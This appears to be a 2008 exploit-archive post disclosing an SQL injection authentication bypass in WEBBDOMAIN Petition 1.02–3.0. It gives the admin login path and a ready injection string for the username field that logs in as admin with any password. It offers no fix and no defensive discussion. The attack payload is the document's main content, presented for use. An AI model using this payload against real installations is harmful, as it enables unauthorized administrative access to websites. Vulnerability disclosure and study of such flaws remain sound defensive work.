WEBBDOMAIN Petition 1.02-2.0-3.0 (SQL Injection) Auth Bypass Vuln

2008-11-04 22:01:07

###########################################################################
______ __ __ ______ __ ______
/ ____/___ \ \/ / / ____/___ ____/ /__ __________ /_ __/__ ____ _____ ___
/ __/ / __ `/\ / / / / __ \/ __ / _ \/ ___/ ___/ / / / _ \/ __ `/ __ `__ \
/ /___/ /_/ / / / / /___/ /_/ / /_/ / __/ / (__ ) / / / __/ /_/ / / / / / /
/_____/\__, / /_/ \____/\____/\__,_/\___/_/ /____/ /_/ \___/\__,_/_/ /_/ /_/
/____/ EgY Coders Vulnerability Research TM

# [~] Discovered by : Hakxer
# [~] Type Gap : WEBBDOMAIN Petition Auth Bypass
# [~] Script :http://webbdomain.com/php/petition/petition.php
# [~] Greetz : Allah
##########################################################################

|| Auth Bypass ||

http://webbdomain.com/php/petition/admin/

Username : admin ' or ' 1=1
password : Hakxer

Logged In ...

# Proud To be a Muslim #
#_=END=_#

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.